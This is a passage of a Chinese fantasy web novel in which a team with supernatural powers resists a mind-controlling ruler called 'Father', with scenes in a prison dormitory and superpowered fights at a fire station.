应该是一个圆形的建筑,穹顶高高在上,四周是数不清的楼层和房间,在最中心的地方摆放着一个相对来说比较简陋的直行电梯,导轨直直冲入穹顶,而在每一层又在四面有着通往周围房间的步廊。
与之前酒店不同的是,这里的空间相对狭小,少了几分恢宏大气,多了几分闭塞压抑。伏苓抬眼扫去,此时因为她的到来,四周灯光依次亮起,隐隐约约露出每一间房间里密密麻麻的床铺,但奇怪的是,那些躺在密集排列的床上的人却没有丝毫动静。
整个建筑内只有他们走动时发出的轻微声响,诡异得令人毛骨悚然。
灯光突然亮起,他们进来的动静也不小,若是一个人不加理睬也就罢了,这建筑里看上去起码得有数以万计的人,怎么会连一个人都不发出声音?
楚河凑近了点,低声道:“这边是有什么硬性规定吗?”
比如听到动静,抬头就会受到惩罚什么的?
可是这也太反人性了,这里到底是什么地方?
伏苓耸耸肩:“之后探探就知道了。”
身后的人忍无可忍,抵着两人的枪口用了点力:“你们当着我们的面讨论这些,是不是有一些太看不起人了?”
伏苓挑眉:“哎呀,抱歉,一时把你们给忽略了。”
她不说还好,一说身后的人更生气了。
难怪‘父亲’大人多次提醒一定要小心这个人,如今一看果然是麻烦得很。
他冷声道:“建议你们不要轻举妄动,‘父亲’会一直看着你们。”
一直看着他们吗?
伏苓笑了声,没说什么,但表情已经露出了显而易见的不屑。
“叮咚”。
电梯门缓缓开启,身后之人用枪碰了碰伏苓:“上去。”
伏苓“嗯哼”了一声,迈脚踩上电梯。
这个电梯四周都是透明的,能看到密密麻麻的床铺飞一般的向下方退去,很快又停了下来。
大门打开,这次伏苓率先走了出来。
电梯周围有一圈可供一人行走的步道,在四个方向则是通往边缘床铺较宽的走廊,两边都围着围栏。四周密密麻麻黑暗中,伏苓隐隐约约看到了几双暗暗发亮的眸子正紧紧盯着他们。<
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p>一位驻守在此楼层的警卫上前,他扫了一眼伏苓和站在她身侧的楚河,转身道:“跟我走。”
他走走转转,几乎绕了小半圈,才在一个档口停了下来。
之前离得远还看不清,如今站在眼前了才发现每一层有近百个档口,而每一个档口都没有门,里面一左一右各自上下排列着四个床铺,跟如同火车卧铺有些相似,但明显更挤了些。
那警员回头看了一眼伏苓,指了指右侧最上方的床铺:“FT232,你的位置。”
他又点了点左侧第三给床铺,看向楚河:“FT235,是你的。”
没等两人应声,他便沉声道:“‘父亲’已经写明规则,你们为什么不遵守?简简单单的一个十点归寝都做不到,又怎么能为‘父亲’大人效力?”
四周寂静一片,甚至连呼吸的声音都消失不见,只剩下他威严的声音在半空回荡。
但他面前这两人却一幅死猪不怕开水烫的模样,面无表情地看着他演讲。
这人完全没受伏苓的影响,继续严肃道:“介于明日大家还需要‘赎罪’,不宜被打扰,你们就先乖乖休息,明天再接受惩罚。”
他扫了一眼周围安静得像死了一样的床铺,最终将目光停留在伏苓身上:“最好不要再违反规则了。”
伏苓嗤了一声,笑嘻嘻:“好呀。”
警卫面带警告地看了她一眼,没说什么,带着周围一直拿着枪指着伏苓的那些人一起走了。
楚河疑惑道:“这地方居然不收武器?”
真是不怕他们两个把天花板掀了啊?
伏苓抬脚轻轻踢了踢供他们上下铺的小踏板:“你别提醒他们了。”
楚河闭嘴:“好吧。”
他看着已经准备爬上去的伏苓,低声问道:“我们后半夜再行动?”
伏苓“嗯”了一声,灵巧地跃上了几近两米的床铺。
此时每个楼层警卫太多,各各精神抖擞地在每一层巡逻,这时候出去跟方才直接硬刚没什么区别。
更主要的原因是,伏苓有点累了。
GE飞快扫了一圈,没在床铺上检测出什么乱七八糟的担心,她没什么洁癖,直接和衣躺下了。
今天发生的事情实在是耗神,她摁了摁太阳穴,神经却始终紧紧绷着。
打架受伤那些事情倒是还好,伏苓闭上眼睛,脑海中却争先恐后地涌上了程承的面容。
他低吟着:“我愿意为了你付出生命。”
伏苓有些烦躁地翻了个身,胳膊撞上了天花板。
她总觉得程承那时候的状态太奇怪了,她可以理解程承看到自己命悬一线时的恐惧,但让他说出这一句带着些许虔诚的、类似于……向神明贡献自己的信徒的言语,实在是有些蹊跷。
她不愿意去质疑程承对自己的感情,但也不相信一向冷静理智的他会在自己没有性命之忧的情况下甘愿燃烧自己的生命为她提供养料。
另外,她的伤……究竟是怎么好得这么快的?
思绪太乱太杂,怎么理都理不清,她想着想着,身体就因为疲惫沉入梦乡。
楚河睁着双眸,他们小队里有特殊的交流渠道,他已经悄悄发送了信号,只等元真回复。
他叹了口气,闭塞的空间让他连翻身都有些困难。
他面无表情地想:既然都是睡觉,为什么不等到半夜再违反规则呢?
起码能在酒店的大床上睡个好觉。
他转了转眼珠,这个小小的空间里挤着整整八个人,虽然漆黑一片他什么都看不清,但他能明显感受到有视线始终在看着他。
他略显放松地换了个姿势,将手掌压在自己的后脑下。
来吧来吧,我们恨不得将这里整个掀翻呢。
……
楚河是被一阵刺耳的尖叫声吵醒的。
他猛地坐起身来,却没想到床铺位置实在是太小,额头狠狠撞击在上铺的床板上。
他忍着疼捂着额头看向尖叫的来源,只一眼,他的瞳孔就猛烈收缩。
伏苓的软剑还没来得及收回,而睡在她下方的男子此时已经失去了一只左手,血液喷涌着滴落在地上。
楚河稍稍松了口气,抽空看了眼时间。
03.01。
他微不可察地皱了皱眉,还没来得及思索什么,别在腰间的通讯设备便轻轻一震,楚河眼前一亮,元真果然在这里!
伏苓利落地翻身下床,顺带一手揪住那男人的衣领,顺着力道将他摔在地上,发出一声沉重的闷响。
她满脸戾气地一脚踩在他另一只手上:“不是喜欢摸吗?继续啊。”
楚河翻身下床,目光轻飘飘地对上其他床铺上的人看过来的视线,他没在意,只是侧目看了一眼外面。
此时灯光大开,外面已经不似昨夜那般安静,而是带着明显的嘈杂,只不过这嘈杂中却没有人声,只有些许器具碰撞,或是走路时发出的声响。
唯一的人声,可能就是这位被伏苓砍了左手的男子的惨叫了。
他收回目光,重新将注意力放在伏苓身上:“怎么了?”
伏苓笑着,脚下更使了点劲:“你问他啊。”
狼狈躺在她脚下的男人整张脸都扭曲在了一起,嘴里几乎发不出除了惨叫之外的声音。
伏苓扔下他,锐利的目光依次扫过其他躺在床上缩着脖子围观的人,对楚河道:“也没什么,就是摸了我一下。”
伏苓其实是被这男人的动作吵醒的,她睁开眼睛的时候,这人的手已经越过她的手腕摸向了腰部,甚至隐隐有朝下发展的趋势。
确定自己没有冤枉这男人,伏苓手起刀落直接将他伸进自己床铺的手都砍了。
楚河一言难尽地看着在地上瘫成肉泥的男子。
都公然违反规则了,这人居然还把伏苓当成普通女孩对待吗?
他不死谁死?
伏苓一脚迈出档口,左右看了看,突然摸着下巴道:“奇怪,我们这这么大动静,居然没人过来围观一下吗?”
楚河跟在她身后,没什么表情地补充:“不仅如此,我们醒来的时间点也很奇怪,而且,他们好像准备去做什么。”
他顿了顿,突然道:“你还记不记得昨晚那个警卫说“赎罪”?”
伏苓“嗯”了一声,转头看他:“联系到你的小伙伴没?”
说到这个,楚河立马道:“联系到了,就在楼下。”
两人当机立断穿过沉默动作的人群,勾着栏杆翻到了楼下,在一群穿着差不多衣服的人中找到了元真。
此时他正一脸心中有事的模样在收拾东西,楚河松了口气,走上前拍了拍他的肩膀。
元真猛地一回头,看到楚河后顿时眼前一亮,想说话又立马止住,左右看了看周围的人后一把抓住他的手腕将他拉进了旁边的楼梯口。
伏苓抱着臂,悠哉游哉地也跟了进去。
她左右打量着,倒是没想到这地方虽说是“监狱”,但基础设施还是很完善的,甚至还配备了应急出口,非常符合消防安全。
虽然只是一个小小的、微不足道的角落,但却能反映出一些讯息。
她摸摸下巴,原先以为游寂是那种独政的暴君,所以才需要集中控制所有人的思想以达目的。
但若这人当真如伏苓猜测那般残虐不仁,他其实完全没必要做这些保障民生的措施。
监狱里这些违反规则的人,有很大可能会成为他独裁的阻碍,既然如此,若当真出了什么意外,全死了也是极好的。
可他没有这么做,而是在保证这些人住的不舒服的同时保障他们的生命安全,这就相当于他将违反规则之人囚禁起来并非是为了羞辱或者泄愤,而只是惩罚,一个无伤大雅、目的为修正行为的惩罚。
“想什么呢?”楚河的声音响起。
伏苓回过神来,走近了些:“没什么。”
她抬起下巴对上了元真的目光,却是依旧对楚河道:“这就是你的小伙伴?”
楚河“嗯”了一声,问道:“元真,能说说这边什么情况吗?”
元真看了一眼楚河,又看了一眼伏苓,然后眨眨眼睛问楚河:“你们俩什么时候勾搭上的?”
他上一次见到伏苓还是在停车场呢。
楚河木着脸:“结了个盟,能不能说正事?”
“哦哦哦,”元真连忙应下,他神色严肃了许多:“这件事说来也简单。因为我进来的时间也不长,从昨晚被弄进来后就一直在念忏悔词,念得我头都晕乎了,然后就让我去休息,说是今天早上要出集体任务。”
他摊开手:“然后就没有啦。”
伏苓好奇:“那你为什么把我们拉进这边?这些话也不是不能在外面说吧?”
元真嘿嘿一笑,挠了挠头:“我看人家电视剧里都这么演的。”
楚河:“……”
他深吸一口气,抓住关键词:“忏悔词是什么?”
元真:“就是‘我错了我不该冒犯父亲大人’之类的。”
他回忆起来还是忍不住咂舌:“真不是个东西啊,让我念了将近四个小时。”
“一直重复念吗?”伏苓想象了一下那个画面,顿时一阵恶寒。
跟什么仪式现场一样,怪瘆人的。
楚河看着他,目光中多了几分探究:“那你当时什么感觉?”
元真疑惑地看了他一眼:“什么什么感觉?”
伏苓靠在一旁的墙上:“比如你心里真的觉得自己做错了要一辈子给‘父亲’赎罪什么的。”
元真愣了愣,垂眸沉默了许久,才闷闷道:“……有。”
他一边犹犹豫豫地从怀里掏着什么,一边有些不确定地说:“但是我应该……没有被影响吧?”
话音落下,他终于将怀里的东西掏了出来——是一个小型喇叭,几乎是同一时间,熟悉的声音如闷雷般响起:
“别动。”
59. 百世同堂07
这一句算是偷袭,伏苓还没来得及做出反应,就已经和楚河一同被定在原地。
楚河微微瞪大眼睛,难以置信地看着元真:“你……”
元真挣扎着看向他:“抱歉,楚哥,我……控制不住我自己。”
周围窸窸窣窣地响起一阵嘈杂,低沉而密集的话语从四面八方传来:
“我甘愿服从父亲的一切指示。”
“我甘愿为父亲献出一切。”
……
元真原本清明的眸子随着一声又一声如同催眠般的声音而变得混浊,他几乎是下意识开口:“我甘愿服从父亲的一切指示……”
他有些麻木地转过身去,缓缓推开应急通道的大门,低沉又密集的声音扑面而来,如同海中波涛,一浪接一浪,连绵不绝。
伏苓瞳孔微颤,不知是否是因为这些人都在附和游寂从广播中传来的声音,还是因为一些别的原因,他们所说的那些言语竟都隐隐约约带上了言灵之力,此等效果要远远比游寂一人对他发出的言灵威力大得多。
她瞥了眼目光带上了些许迷离的楚河,开口道:“还好吗?”
分明是极轻的一句话,却让楚河混沌的脑子陡然清醒了些许,他使劲甩了甩脑袋:“还好。”
伏苓微微一动,挣开言灵的束缚,楚河则是发动自己的异能,霎时间,嘈杂的人声戛然而止,只徒留一片寂静。
没有那些烦人的言灵之力,楚河终于能时上了点劲,只是他刚试图去挣脱束缚的时候,他的异能却突然散开,时间恢复了流动,嘈杂的言灵再次席卷而来。
伏苓挑了挑眉:“你的异能失效了?”
楚河面色凝重:“也不能说是失效……”
他皱了皱眉,似乎在思索怎么形容这种感觉:“感觉就像是……我不愿意去发动异能。”
伏苓:“这种情况下,你居然不愿意发动异能?”
这听起来有些匪夷所思,但楚河竟一时无法反驳,因为他居然从潜意识中真的认为自己不应当发动异能,而是……尊从父亲的命令。
“也许是因为周围重复的这句话。”熟悉的声音突然在伏苓耳边响起,如同在与说话之人耳鬓厮磨,让她没忍住缩了缩脖子。
楚河抬起头,目光落在了她的耳垂上:“那是什么?”
这声音一出来,伏苓就知道是什么情况,但她还是垂下眸子,看着从她耳垂跃至手臂的小小血兔,挑了挑眉。
远在千春的程承见她没回话抿了抿唇,一时之间,楼梯间内竟陷入了诡异的沉默。
楚河看看伏苓,又看看血兔,不知该说些什么。
但很快,沉默再次被沉沉程承打破:“……伏苓。”
伏苓不冷不淡地“嗯”了一声。
血兔的小嘴一张一合:“这种不断重复的言语会类似于精神控制一样在关键时刻改变你的想法,而这种情况,我们几乎没有任何解决方法。”
他轻轻叹了口气:“说实话,我很担心你。”
伏苓没说话。程承垂着眸安静了几秒,继续道:“我现在赶不过来,在我们见面之前,保护好自己,可以吗?”
伏苓轻轻应了声好。
切断通话后,程承对上了其他几个人八卦的目光,木着脸道:“看什么……”
祝无忧嘿嘿一笑:“你们俩是不是有什么进展了?”
程承:“……”
林随遇摸着下巴分析:“我觉得是,感觉他们俩念念不舍的。”
程承:“……”
林随安面色冷淡地补充道:“而且有点怪怪的,像是在闹矛盾哄人。”
程承忍无可忍:“闭嘴。”
祝无忧无视他,掏出星牌:“其实我可以来摸张洞悉牌……”
她话还没说完,程承就以迅雷不及掩耳之势把她的牌又塞了回去。他冷静转移话题:“我们还是说正事吧。”
昨夜离开栎阳区后程承并没有回到自己该去的地方,而是坐着地铁来到了千春区。
他本就有着血兔这个作弊神器,直接依次找到了众人。
原本他只是猜测,今夜游寂受如此重伤,想必应该没有力气去管违反规则的人了,所以就算自己光明正大地去找祝无忧他们,大概率也不会出事。
但令他没想到的是,明明自己才是最嚣张的那一个,甚至根本就没有去到自己所在的区,但游寂却只抓了伏苓。
几乎是在瞬间,他就意识到,游寂在针对伏苓。
几人聚在一起后,为了违反规则去找伏苓,他们绝对高调地违反了几乎所有的规定,堪称嚣张至极。
但即便如此,游寂也依旧没有对他们采取任何措施。
至此,程承终于确定,游寂不想他们几人集合。
单单一个伏苓战力就强悍至此,若是让他们几人聚在一起,那不得把整个丰镐都翻了天了?
既然这个法子没用,程承之后用常规的方法:确定监狱位置并寻找前往那所监狱的路。
这不是什么容易的事情,至少到现在为止,几人还没有什么头绪。
最多只能猜测那所监狱大概率是在处于中心位置的长乐区。
不过,这仅仅只是猜测。为了防止监狱的位置剑走偏锋,众人还是谨慎地决定将整个千春区都扫一遍。
他们的速度还是很快的,此时天还正蒙蒙亮,林随安看着前方的消防站,低声道:“那就是最后一个地方了吧?”
祝无忧挠挠头:“这里也要进去看吗?”
程承:“这边应该没什么问题,但以防万一,还是进去看一眼吧。”
“对,就算不是我们所做的也不是无用功。”林随遇赞同地点点头,道:“起码经过这么长时间的搜寻,我们的丰镐的大致情况也有了基本了解。”
他顿了顿,笑嘻嘻道:“当然,更重要的原因是前往长乐区的地铁还没有开。”
地铁的运营时间一般是六点到晚上十一点,此时的时间还不到四点,就算他们不搜这个地方,没有办法前往长乐区。
祝无忧:“好趴。”
林随安将手里的地图还给程承,面色忧虑:“也不知道伏苓那怎么样了。”
想到这个,林随安又瞪了林随遇一眼:“也不知道没有能量枪,她还能不能安全度过这段时间。”
林随遇自知理亏,嘿嘿笑了两下,诚恳道:“我相信伏苓!”
这个消防站算是比较大型的那种了,进门后的广场上排排停着几辆消防车,右侧是一个篮球场,一栋又宽又高的大楼正对着大门,里面一盏灯光都没有,黑漆漆的。
林随遇探出脑袋左右瞧了瞧:“居然一个人都没有。”
按道理来说,即便是夜晚消防站也应该有人值守,而这里竟然空无一人,确实很是奇怪。
几人麻利地翻过电动伸缩门,林随安拍了拍手,皱眉道:“我猜,是不是因为门禁所以夜间不会有人出房门,也就不需要消防员值守了。”
程承点点头:“很有可能,但若是这样的话,那这个言灵岂不是算得上是在做好事?”
祝无忧”呵呵“了两声:“做好事让全丰镐的人都信仰他?那我也想做好事。”
程承:“……”
这个消防站很大,林随遇提议:“我们要不要分开搜?”
祝无忧第一个跳出来反对:“我不行,我太垃圾了,我没办法一个人搜。”
林随遇被她理直气壮的发言噎住:“你……你还得意上了?”
程承摇摇头:“最好是不要,如果有什么突发事件,我们战力分散会很被动。”
闻言,林随遇也没什么意见,几人速度很快,飞快地将整个消防站扫了一遍。
“看来是没什么问题。”林随安看了眼天色:“时间也差不多……”
程承突然“嘘”了一声,林随安果断静音,顺着他的目光看了过去。
只见门外原本空无一人的街道上缓缓出现了一块浓黑色的漩涡,如同燃了墨水的泡泡。
几人屏住呼吸,祝无忧捂住嘴,用气音道:“那是什么?”
那漩涡原来越大,逐渐有了一人高,然后一个人影从漩涡中走了出来。
他穿着消防服,目光呆滞地站在一侧停下,身后一个又一个人排着队出来,直到最后一人走出漩涡,那漩涡才缓缓消失。
程承目光落在最后一个人身上,深深皱起了眉:“这个人好像是楚河队里的。”
如果他没记错,伏苓和楚河进入监狱就是为了救他。
此人正是元真,他双目无神,直愣愣地跟着前面的人走进了消防站。
程承压低声音道:“最后的那人,应该是从监狱里来的。”
林随安愣了愣:“是你刚刚在伏苓那边看到的吗?”
程承点头,面色有些严肃:“嗯,十分钟之前他还在监狱,这时候就整装待发地到这来了,看来这个言灵还能让这些人瞬间转移。”
林随安抿了抿唇。
程承顿了顿,突然想到什么:“他们之后回去的时候,我们或许可以蹭一下。”
他们如今不知道监狱所在,且坐地铁去长乐区需要一个多小时,若是能蹭上这些人回监狱的漩涡,那能节约不少时间。
眼看这些人如同傀儡一般准备迈入大楼中,林随遇道:“跟上去?”
话音未落,那些人突然顿住了,缓慢转着头看向几人的藏身之处。
祝无忧吓得后退一步:“他们这是怎……”
她的话还没说完,只见那队人如同得了命令一般猛地朝他们所在方向跑来,手中异能乍现。
程承当机立断:“小心!”
下一瞬,眼前的空气陡然扭曲,四面八方的建筑如同谭中倒影,潋滟着变得模糊。
林随安下意识伸手想抓住身侧的祝无忧,却没想到抓了个空。
她惊诧看去,只见祝无忧还站在原地,只是自己的手穿过了她的手臂。
祝无忧转头,满脸惊慌失措,声音却怎么都喘不过来。
在逐渐扭曲中,林随安读懂了她的唇语:“安安姐,是空间……”
她还未说完,便已经消失不见,林随安绷紧肌肉,警惕地看着周围逐渐稳定下来的环境,心中愈发冷静。
此时她身侧空无一人,但周围的场景,应该还是在消防站内。
其他人应该离得也不远,她使用异能移动的话,或许能尽快找到他们。
“你好,林小姐。”声音陡然响起,林随安猛地回头看去,锋利的匕首被她死死握在手中。
一秒前,她的身后明明什么都没有,但此时却站着两个高大的男人,林随安记性很好,她立马认出,他们是那队身着消防服中的两名。
为首那人相比另一位稍稍纤瘦些,他绅士地朝她行了个礼,笑容温和:“我们不常对女人出手,但此举是‘父亲’吩咐的,我们不敢不从。为表歉意,我们愿意向您告知我们的异能——”
他顿了顿,笑得有些恶劣:“以防您还没有推出我们的异能就死了。”
林随安没说话,一双眸子警惕地打量着周围,防止有人曾她不备偷袭自己。
“林小姐,在下齐归,异能是——”他对上林随安看向自己的目光,脸上笑意更深:“空间扭曲。”
林随安的瞳孔微微收缩。
齐归又道:“对,你没有猜错。我的异能,恰好克你。”
空间扭曲——顾名思义,就是能将周遭空间顺自己心意扭曲,而林随安的空间移动正是依赖于稳定的空间,才能保证她降落在准确的位置。
一旦空间被扭曲,那林随安的落地点将不再受她控制,而是掌握在齐归手中。
林随安的额间沁出冷汗,脸色变得沉重起来:“恰好?”
她突然笑了一声,目光中带上了些许探究:“你们是‘父亲’专门挑选过来对付我们的吧?”
“林小姐真聪明。”齐归笑眯眯地鼓掌,笑意却不达眼底:“谁让你们一定要来丰镐破坏我们的生活呢?”
“闯入丰镐地界的人,若是安分守己,‘父亲’还能饶你们一命,但你们偏偏各个都带着目的进入丰镐,你们每一个人都想破坏我们的生活,你们就该死!”
他越说越激动,话音未落,周围空间再度扭曲,他身侧那壮汉闻风而动,前方空间缩减,他几乎是在一瞬间就抵达了林随安眼前,锋利的菜刀带着猎猎阴风劈向她的面门。
林随安躲闪不及,下意识发动了异能。
……
林随遇莫名心口一悸,心中涌上些许焦躁,他直直看向对面那两人,目光最终落在元真身上:“你为什么帮他们?”
元真直视着他,神色坚定:“‘父亲’创造的丰镐才是最美好的地方,我不允许你们破坏这里的平衡。”
林随遇皱起眉头:“你真被洗脑了?”
这言灵到底有多强,居然能将人的思维在一夜之间转了个180度,甚至能怂恿他对自己曾经的队友下手。
元真摇了摇头:“我没有被洗脑,‘父亲’说得很对,让丰镐就这样持续下去是最好的选择,你们不要再试图毁掉核心了。”
“还说没被洗脑。”林随遇笑了笑,眼中满是叛逆:“你要是这么说,我可一定要毁了这核心了。”
元真皱着眉:“你真是执迷不悟。”
他扬起手,烈焰如火龙一般缠绕在他身侧,随着他的动作狠狠击向林随遇。
林随遇发动异能,光束凝结,却在脱手的那一瞬袭向了反方向——狠狠砸上了林随遇的胸口。
他被自己的光击飞,在地上滚了几圈才堪堪停下,近距离对上如此强劲的光束,他的五脏六腑都快被击碎。
他咬着牙,将涌上喉间的腥甜咽下去。
但元真没给他反应的时间,火焰肆虐,几乎已经近在眼前。
他的瞳孔被红色照亮。
……
“卧槽卧槽卧槽!”
祝无忧连滚带爬地向上爬着楼梯,她惊慌地喘着气,目光频繁地转头看向空无一人的楼道,眼中的恐惧却更甚。
她的双腿如同灌了铅一般沉重,但即便如此,她也丝毫不敢停下,只敢双手撑在栏杆上短暂地休息几瞬。
“小妹妹,你还不清楚吗?你是逃不掉的。”带着调笑的声音阴魂不散地追了上来,祝无忧瞳孔猛地一颤,僵硬地转过头去。
只见空无一人的楼道中缓缓重组出一个人型出来,那人笑着,悠哉游哉地迈步走近,他的身体在触碰到栏杆的那一瞬如齑粉般散开,又瞬间在栏杆前重组。
祝无忧咽了口唾沫,哆哆嗦嗦道:“你你你是鬼啊?”
那人笑得痞痞的:“对啊,我死了之后冤魂久久不散,‘父亲’看我怨念未消,就出言将我救了下来。”
看着祝无忧抖得越来越厉害,他笑得更放肆了:“你还真信啊?”
他清了清嗓子:“我是人,这是我的异能。”
祝无忧瞪大眼睛,质疑:“我不信,这什么异能我怎么没见过?”
这人气笑了:“那还不是你见识短,我这是物质重组……”
他声音戛然而止,探究般打量着祝无忧:“看不出来,你还会激将法。”
祝无忧讪笑两声:“哪有哪有。”
他举起手,身后栏杆开始微微颤动,仿佛是听从某种召唤迅速扭曲变形,从笔直的状态变成了一根精巧的长枪。
祝无忧大惊失色,连忙阻止:“等等等等!”
这人歪了歪脑袋,眼中杀意尽显:“要说遗言?可以。”
祝无忧“哈哈”两声:“还不知道你的名字。”
“江则。好了,你该去死了。”他话音落下,手中使力,锋利的长枪如炮弹一般袭向祝无忧。
祝无忧两指夹着一张星牌,目光凌厉:“增益,瞬移。”
下一瞬,长枪尖端深深插入地面,激起一片尘土和碎石的飞溅。江则抬头,对上了祝无忧黑漆漆的眸子,她红唇轻启:“负面,疼痛转移。”
身体各处传来钻心的疼痛,江则动作一滞,捂着胸口闷哼一声,险些跌落在地,他听着飞快向上跑去的脚步声,咬牙:“小看你了。”
……
程承就地翻滚,滋啦作响的电流从他耳侧擦过,撞击到墙壁后又飞速回弹再次袭向程承。
滔天雾气迎面撞上电流,但他还没来得及反应过来,身侧的影子在瞬间从地面上爬起来,带着灼烧的黑气袭向他的面门。
程承飞速后撤,却没想另一人的攻击精准地落在了他站上的位置,腹部被肘击的那瞬,他反应极快地弯腰抓住那人的手臂,身体一转。
原以为已经躲过了这波攻击,但出乎意料的是,这人的攻击分毫不错地再次撞向他的心口。
程承瞳孔一缩,以一种极其扭曲的动作堪堪避开,让攻击撞上了他的肩头。沉重的拳头带着巨大的冲击力将他整个人掀翻。
他伏在地上,抬起头来,看向了逐渐向他靠近的三人。
此刻,他浑身上下隐隐约约覆盖着一层红雾,瞳孔中的红雾一闪而过,言语也带上了些许血兔的声音:“你们,是‘父亲’专门派来对付我们的吧?”
眼前的三人虽然身着消防服,但按照一般常理而言,消防员的身材高大,举手投足间也会隐隐透露出军人的气质。
但眼前这几人却不然,先不说他们如同WIFI一样参差不齐的身高,单从气质上看,这些人就绝不是消防员。
中间那人笑了笑:“很聪明嘛,只可惜,再聪明你也活不了多久了。”
程承笑了一声,轻声呢喃:“是吗。”
他撑着地面缓缓站起身来,身后是方才被电流击破的器械,此时已经燃起了小火苗,隐隐有了扩大之势。
他面无表情地看着他们,心中飞速确定了这三人的异能。
右侧那人脸上没什么表情,目光冷漠地落在程承身上,如同在看一个死人——程承没记错的话,刚才率先对自己使用电流攻击的就是这人。
但他明显不是简单的电流操控,对战过程中,虽然只有短短一瞬,但程承敏锐地察觉到,他的电流并非凭空出现,而是从周围建筑中搜刮来的,且这电流还能在建筑之间来回弹跳。
程承垂下眸子——这人的异能多半是电磁操控。
左侧的男子身材瘦小,目光阴冷淬毒。这是方才操控影子对付程承的人,他的异能算是显而易见——影子操控。
刚刚对战过于混乱,但程承没记错的话,这人始终没有靠近过他,而那个攻击自己的影子也是程承自己的影子,这人近战实力不强,但可以远程攻击。
并且,那影子攻击时带着灼烧的气味,程承相信,若是自己被攻击到,恐怕一层皮都会被烧掉。
这种灼烧不明后果,最好还是不要触碰到。
至于中间这个男人……程承对上了他的目光。
刚刚这人对自己将要进行的动作判断太准确了,程承脑中冒出了一个新奇的异能——预知。
这个异能说强不强,说弱也绝算不上弱,如果能利用好绝对是一大杀器。毫无疑问的是,这人用的非常好,甚至险些将程承一击毙命。
他面色凝重了下来。
不好对付啊。
……
林随安手握匕首站在中央,猩红的血液从她额间滑落,染红了她大半边脸。
她的腹部被划出一道深深的口子,鲜血止不住地流。
身侧是十几个断肢残臂,有手臂,有小腿,甚至还有一颗被削了一半的脑袋。
那壮汉站在离她越十米的地方,正痛得龇牙咧嘴涕泪横飞:“草草草,疼死我了啊啊啊啊!”
林随安冷眼看着这个壮汉疼得上下乱窜,而五秒前她砍断的大臂处飞速地再次生长,短短几秒就恢复如初。
太难缠了。
即便是林随安这般心性,也不免多了几分烦躁。就连削了他半个脑袋都死不了,这人还杀得了吗?
更别提还有个恶心的齐归,总会在意想不到的地方冒出来,笑眯眯地将她卷入扭曲的空间中,强迫她迎上另一人的正面攻击。
短短几分钟的时间,林随安已经因为失血过多而有些头脑晕眩,但这两人却几乎是丝毫未伤。
她死死咬着唇瓣,不能再拖了!
这两人要的就是耗死她。
她眸色冷冷,凝神听去。
齐归躲在不断扭曲的空间中,单纯靠身手无法击中他,自己为避其锋芒不再空间移动明显是落入了他们的陷阱。
她的异能向来是辅助手段,攻击别人都靠的是移动后的肉身拼搏,但此刻她看着游荡在空
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间里的齐归,唇瓣微微勾起。
但是,她的异能,当真只能作为辅助手段吗?
所谓利用空间的操控手段,无非是两种情况。
一是操控物体穿梭空间,二是操控空间移动物体。
两者虽听着差不多,得到的结果也差不多,但却有着明显的实力差别。
此刻,齐归便是那个操控空间的人,而林随安则是稍逊一筹的操控物体。
但没有人规定,这二者是独立开来的。
林随安想,她有没有可能去操控空间,或者说,她有没有可能与齐归争夺空间的控制权。
答案是肯定的。
而这,这是她唯一的活路。
在那把染血的菜刀再次袭来,几乎要砍上林随安的鼻尖时,甚至这大汉和齐归已经看到了胜利的曙光,她突然消失了。
是空间意义上的消失,齐归找不到她了。
他猛地转头,扭曲的空间在一瞬间脱离了他的控制,他被一股无形的力量挤出了空间,出来的那一瞬,他对上了那壮汉从狂喜变为惊恐的目光。
一刀毙命。
那壮汉还没反应过来,哆哆嗦嗦地想说什么时,一道空间残影穿过他的身体,速度快得几乎让人没意识到危险的到来。
直到他的视线撞击在地面上,再也抬不起来的时候,他才意识到,自己已经被杀了。
那个原本被齐归逼得不敢随意动用异能的女孩,在空间移动的过程中杀了他。
她此刻,才是空间的主人。
危险清除,林随安膝盖一软,直直地跪在地上,膝盖与地面碰撞,发出沉闷的声音。
她死死撑着地板,试图站起身来。
林随安知道,其他人也同样面临着近乎绝望的处境,这些人的异能完完全全是为他们量身定做的。
但她的眼前还是模糊一片,视线混乱中,她恍恍惚惚间看到了自己身下大片大片的鲜血。
失去意识前,她无意识轻声呢喃:“……哥哥。”
……
一掌拍出,红雾如破空之箭贯穿了眼前之人的胸口。
甚至没来得及喘上一口气,程承反应极快地跃至一旁,凌厉的攻击擦着他的面庞砸在他原本站着的地方。
谢文允——也就是那位预知系异能者阴恻恻地看着已经咽了气的鬼影异能者,气笑了:“三个人围剿你还是少了。”
程承呼吸有些不畅,但还是笑眯眯道:“哪有哪有,一般一般。”
四周火光滔天,强劲的电流几乎要将这栋楼都割开,头顶上是一条深深的沟壑。
程承缓缓站起身,不甚在意地拍了拍手臂上仍在灼烧的伤口:“‘父亲’派你们来的?”
谢文允没说话,身侧电流从四面八方攻向程承。程承闪身躲开:“你们为什么这么痴迷‘父亲’?”
他动作不停,红雾裹着手掌正面对上谢文允的杀招,他微微歪头:“因为他强?还是仅仅只是因为他用言灵控制了你们?”
被打散的红雾飞速凝聚,以迅雷不及掩耳之势杀向站在远处的电磁操控者,谢文允猛地转头:“小心!”
他话音未落,程承的拳头已经砸向了他的鼻梁骨。他笑眯眯的,眼中却满是杀意:“我知道了,你也只能预知三秒后的事情吧?”
身后惨叫声响起,谢文允死死盯着程承,咬牙:“‘父亲’说得没错,你们这群人就是丰镐如今最大的变数!”
在前来围剿程承这一行人之前,‘父亲’就已经跟他们分析了这些人的异能强弱点,并从高等区中精心挑选了最能克制他们的异能者。
但程承这个异能,可攻可守,根本上毫无弱点,甚至直到此刻谢文允才意识到,他的血雾还能自行动作。
血雾不仅仅是一跟任程承操控的异能,它更像是一个有思想的活物。
原先他们都以为,就算程承没有弱点,派三个实力最强劲的异能者去围剿他也必定能成功,却没想到,如今已经只剩下他一人。
程承笑了笑,抬手擦去了脸颊上的血:“是吗。”
他缓缓蹲下,直视着谢文允的眸子:“那丰镐此刻就当真是世外桃源吗?”
“你们空守世界一隅,不问世事,将全丰镐的脑袋死死埋在壳里,又怎么会知道到底哪一方才是真正的变数呢?”
大火熊熊燃烧,天花板断裂,无数碎石砸在地面。
程承站起身,目光落在烧得肆虐的大火上:“丰镐是‘父亲’的一言堂,但你又怎么能确定,‘父亲’所言都是对的?”
楼外传来喧闹声,枪支发射的破空之响让程承的太阳穴直跳,他不愿多说,迈步朝楼外走去。
谢文允伏在地上,抬头冲他大喊:“不,‘父亲’所言一定是正确的,‘父亲’大人不会害我们……”
“轰”的一声。
房梁落下,尘埃落定。
……
